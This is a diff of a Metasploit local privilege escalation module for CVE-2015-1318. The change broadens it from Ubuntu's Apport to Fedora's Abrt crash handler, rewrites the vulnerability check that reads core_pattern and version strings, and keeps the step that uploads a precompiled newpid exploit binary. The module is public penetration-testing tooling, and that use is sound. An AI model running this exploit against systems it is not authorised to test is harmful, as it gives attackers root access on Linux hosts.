@@ -12,19 +12,27 @@ class MetasploitModule < Msf::Exploit::Local
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => 'Apport chroot Privilege Escalation' ,
15
+ 'Name' => 'Apport / Abrt chroot Privilege Escalation' ,
16
16
'Description' => %q{
17
- This module attempts to gain root privileges on Ubuntu by invoking
18
- the default coredump handler (Apport) inside a namespace ("container").
17
+ This module attempts to gain root privileges on Linux systems by
18
+ invoking the default coredump handler inside a namespace ("container").
19
19
20
20
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
21
- vulnerable (CVE-2015-1318) , due to a feature which allows forwarding
22
- reports to a container's Apport, causing usr/share/apport/apport
23
- within the crashed task's directory to be executed. Apport does not
24
- not drop privileges, resulting in code execution as root .
21
+ vulnerable, due to a feature which allows forwarding reports to
22
+ a container's Apport by changing the root directory before loading
23
+ the crash report, causing 'usr/share/apport/apport' within the crashed
24
+ task's directory to be executed .
25
25
26
- This module has been tested successfully on Apport 2.14.1
27
- on Ubuntu 14.04.1 LTS x86 and x86_64.
26
+ Similarly, Fedora is vulnerable when the kernel crash handler is
27
+ configured to change root directory before executing Abrt, causing
28
+ 'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be
29
+ executed.
30
+
31
+ In both instances, the crash handler does not drop privileges,
32
+ resulting in code execution as root.
33
+
34
+ This module has been tested successfully on Apport 2.14.1 on
35
+ Ubuntu 14.04.1 LTS x86 and x86_64 and Abrt on Fedora 19 and 20 x86_64.
28
36
} ,
29
37
'License' => MSF_LICENSE ,
30
38
'Author' =>
@@ -35,18 +43,23 @@ def initialize(info = {})
35
43
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
36
44
] ,
37
45
'DisclosureDate' => 'Mar 31 2015' ,
38
- 'Platform' => [ 'linux' ] ,
46
+ 'Platform' => [ 'linux' ] ,
39
47
'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
40
48
'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
41
49
'Targets' => [ [ 'Auto' , { } ] ] ,
42
50
'References' =>
43
51
[
44
- [ 'EDB' , '36782' ] ,
45
- [ 'EDB' , '36746' ] ,
46
52
[ 'CVE' , '2015-1318' ] ,
47
- [ 'URL' , 'https://usn.ubuntu.com/usn/USN-2569-1/' ] ,
48
53
[ 'URL' , 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ] ,
54
+ # Exploits
55
+ [ 'EDB' , '36782' ] ,
56
+ [ 'EDB' , '36746' ] ,
49
57
[ 'URL' , 'https://gist.github.com/taviso/0f02c255c13c5c113406' ] ,
58
+ # Abrt (Fedora)
59
+ [ 'URL' , 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ] ,
60
+ [ 'URL' , 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ] ,
61
+ # Apport (Ubuntu)
62
+ [ 'URL' , 'https://usn.ubuntu.com/usn/USN-2569-1/' ] ,
50
63
[ 'URL' , 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ] ,
51
64
[ 'URL' , 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ] ,
52
65
[ 'URL' , 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
@@ -63,50 +76,53 @@ def base_dir
63
76
end
64
77
65
78
def check
66
- res = cmd_exec 'apport-cli --version'
79
+ kernel_version = Gem :: Version . new cmd_exec ( 'uname -r' ) . split ( '-' ) . first
67
80
68
- if res . blank?
69
- vprint_error 'Apport is NOT installed'
81
+ if kernel_version < Gem :: Version . new ( '3.12' )
82
+ vprint_error "Linux kernel version #{ kernel_version } is NOT vulnerable"
70
83
return CheckCode ::Safe
71
84
end
72
85
73
- apport_version = Gem :: Version . new res
86
+ vprint_good "Linux kernel version #{ kernel_version } is vulnerable"
74
87
75
- if apport_version >= Gem ::Version . new ( '2.13' ) && apport_version < Gem ::Version . new ( '2.17.1' )
76
- vprint_good "Apport version #{ apport_version } is vulnerable"
77
- else
78
- vprint_error "Apport version #{ apport_version } is NOT vulnerable"
79
- return CheckCode ::Safe
88
+ kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'
89
+
90
+ # Vulnerable core_pattern (abrt):
91
+ # kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
92
+ # Patched systems no longer preface the command with /usr/sbin/chroot
93
+ # kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
94
+ if kernel_core_pattern . include? ( 'chroot' ) && kernel_core_pattern . include? ( 'abrt-hook-ccpp' )
95
+ vprint_good 'System is configured to chroot Abrt for crash reporting'
96
+ return CheckCode ::Vulnerable
80
97
end
81
98
82
- os = cmd_exec 'grep ^ID= /etc/os-release'
99
+ # Vulnerable core_pattern (apport):
100
+ # kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
101
+ if kernel_core_pattern . include? 'apport'
102
+ vprint_good 'System is configured to use Apport for crash reporting'
83
103
84
- if os . include? 'ID=ubuntu'
85
- vprint_good 'Target operating system is Ubuntu'
86
- else
87
- vprint_error 'Target operating system is NOT supported'
88
- return CheckCode ::Safe
89
- end
104
+ res = cmd_exec 'apport-cli --version'
90
105
91
- kernel_version = Gem ::Version . new cmd_exec 'uname -r'
106
+ if res . blank?
107
+ vprint_error 'Apport is NOT installed'
108
+ return CheckCode ::Safe
109
+ end
92
110
93
- if kernel_version >= Gem ::Version . new ( '3.12' )
94
- vprint_good "Linux kernel version #{ kernel_version } is vulnerable"
95
- else
96
- vprint_error "Linux kernel version #{ kernel_version } is NOT vulnerable"
97
- return CheckCode ::Safe
98
- end
111
+ apport_version = Gem ::Version . new ( res . split ( '-' ) . first )
99
112
100
- kernel_core_pattern = cmd_exec 'sysctl -a | grep core_pattern'
113
+ if apport_version >= Gem ::Version . new ( '2.13' ) && apport_version < Gem ::Version . new ( '2.17.1' )
114
+ vprint_good "Apport version #{ apport_version } is vulnerable"
115
+ return CheckCode ::Vulnerable
116
+ end
117
+
118
+ vprint_error "Apport version #{ apport_version } is NOT vulnerable"
101
119
102
- if kernel_core_pattern . include? 'apport'
103
- vprint_good 'System is configured to use Apport for crash reporting'
104
- else
105
- vprint_error 'System is NOT configured to use Apport for crash reporting'
106
120
return CheckCode ::Safe
107
121
end
108
122
109
- CheckCode ::Vulnerable
123
+ vprint_error 'System is NOT configured to use Apport or chroot Abrt for crash reporting'
124
+
125
+ CheckCode ::Safe
110
126
end
111
127
112
128
def upload_and_chmodx ( path , data )
@@ -124,7 +140,7 @@ def exploit
124
140
125
141
# Upload Tavis Ormandy's newpid exploit:
126
142
# - https://www.exploit-db.com/exploits/36746/
127
- # Cross-compiled with musl :
143
+ # Cross-compiled with:
128
144
# - i486-linux-musl-cc -static newpid.c
129
145
path = ::File . join Msf ::Config . data_directory , 'exploits' , 'cve-2015-1318' , 'newpid'
130
146
fd = ::File . open path , 'rb'
0 commit comments